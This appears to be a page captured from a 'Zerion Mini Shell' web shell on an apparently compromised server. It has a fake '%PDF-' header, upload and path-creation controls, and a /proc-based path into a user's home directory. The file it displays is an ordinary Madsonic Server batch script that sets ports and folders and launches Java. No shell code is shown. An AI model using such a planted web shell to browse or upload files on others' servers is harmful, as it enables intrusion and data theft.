%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/309157/task/309157/root/home/waritko/madsonic/
Upload File :
Create Path :
Current File : //proc/309157/task/309157/root/home/waritko/madsonic/madsonic.bat

@echo off

:: ###################################################################################
:: # Shell script for starting Madsonic Server.  See more on http://madsonic.org
:: ###################################################################################

:settings
 setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

 REM JAVA JRE/JDK path
 set JRE_HOME=
 set JDK_HOME=

 REM The directory where Madsonic will create files. Make sure it is writable.
 set MADSONIC_HOME=c:\madsonic

 REM The host name or IP address on which to bind Madsonic. Only relevant if you have
 REM multiple network interfaces and want to make Madsonic available on only one of them.
 REM The default value 0.0.0.0 will bind Madsonic to all available network interfaces.
 set MADSONIC_HOST=0.0.0.0

 REM The port on which Madsonic will listen for incoming HTTP traffic.
 set MADSONIC_PORT=4040

 REM The port on which Madsonic will listen for incoming HTTPS traffic (0 to disable).
 set MADSONIC_HTTPS_PORT=0

 REM The context path (i.e., the last part of the Madsonic URL).  Typically "/" or "/madsonic".
 set MADSONIC_CONTEXT_PATH=/

 REM DB EXAMPLE:
 REM default internal hsqldb with MADSONIC_DB=
 REM ::
 REM jdbc:mysql://localhost:3306/madsonic
 REM jdbc:postgresql://localhost:5432/madsonic
 REM ::
 set MADSONIC_DB=

 REM The directory for music
 set MADSONIC_DEFAULT_MUSIC_FOLDER=c:\Media\Artists

 REM The directory for upload
 set MADSONIC_DEFAULT_UPLOAD_FOLDER=c:\Media\Incoming

 REM The directory for Podcast
 set MADSONIC_DEFAULT_PODCAST_FOLDER=c:\Media\Podcast

 REM The directory for Playlist-Import
 set MADSONIC_DEFAULT_PLAYLIST_IMPORT_FOLDER=c:\Media\Playlists\Import

 REM The directory for Playlist-Export
 set MADSONIC_DEFAULT_PLAYLIST_EXPORT_FOLDER=c:\Media\Playlists\Export

 REM The directory for Playlist-Backup
 set MADSONIC_DEFAULT_PLAYLIST_BACKUP_FOLDER=c:\Media\Playlists\Backup

 REM The directory for transcode binary (default: %MADSONIC_HOME%\transcode)
 set MADSONIC_DEFAULT_TRANSCODE_FOLDER=
 
 REM The memory initial size (Init Java heap size) in megabytes.
 set INIT_MEMORY=192

 REM The memory limit (max Java heap size) in megabytes.
 set MAX_MEMORY=512

 REM Set GZIP compression (default is true).
 set MADSONIC_GZIP=true

 REM Set Update(default is true).
 set MADSONIC_UPDATE=true 
 
:getjrelocation
 rem Resolve location of Java runtime environment
 set KeyName=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment
 set Cmd=reg query "%KeyName%" /s
 for /f "tokens=2*" %%i in ('%Cmd% ^| find "JavaHome"') do set JRE_HOME=%%j

:getjdklocation
 rem Resolve location of Java JDK environment
 set KeyName=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Development Kit
 set Cmd=reg query "%KeyName%" /s
 for /f "tokens=2*" %%i in ('%Cmd% ^| find "JavaHome"') do set JDK_HOME=%%j

:setenv
 rem Check
 if "%JRE_HOME%%JDK_HOME%"=="" goto errornojava
 
 if not "%JRE_HOME%"=="" set JAVA_HOME=%JRE_HOME%
 if not "%JDK_HOME%"=="" set JAVA_HOME=%JDK_HOME%
 
 if not "%JAVA_HOME%"=="" (
        "%JAVA_HOME%\bin\java.exe" ^
        -Xms%INIT_MEMORY%m ^
        -Xmx%MAX_MEMORY%m ^
        -Dmadsonic.home=%MADSONIC_HOME% ^
        -Dmadsonic.host=%MADSONIC_HOST% ^
        -Dmadsonic.port=%MADSONIC_PORT% ^
        -Dmadsonic.httpsPort=%MADSONIC_HTTPS_PORT% ^
        -Dmadsonic.contextPath=%MADSONIC_CONTEXT_PATH% ^
        -Dmadsonic.defaultMusicFolder=%MADSONIC_DEFAULT_MUSIC_FOLDER% ^
        -Dmadsonic.defaultUploadFolder=%MADSONIC_DEFAULT_UPLOAD_FOLDER% ^
        -Dmadsonic.defaultPodcastFolder=%MADSONIC_DEFAULT_PODCAST_FOLDER% ^
        -Dmadsonic.defaultPlaylistImportFolder=%MADSONIC_DEFAULT_PLAYLIST_IMPORT_FOLDER% ^
        -Dmadsonic.defaultPlaylistExportFolder=%MADSONIC_DEFAULT_PLAYLIST_EXPORT_FOLDER% ^
        -Dmadsonic.defaultPlaylistBackupFolder=%MADSONIC_DEFAULT_PLAYLIST_BACKUP_FOLDER% ^
        -Dmadsonic.defaultTranscodeFolder=%MADSONIC_DEFAULT_TRANSCODE_FOLDER% ^
        -Dmadsonic.update=%MADSONIC_UPDATE% ^
        -Dmadsonic.gzip=%MADSONIC_GZIP% ^
        -Dmadsonic.db=%MADSONIC_DB% ^
        -jar madsonic-booter.jar
 )
 goto end

:errornojava
 echo Failed to locate any installed java environments event tried locating a JDK, please install a Java Runtime Evnironment or JDK
 goto end
 
:end
 endlocal

Zerion Mini Shell 1.0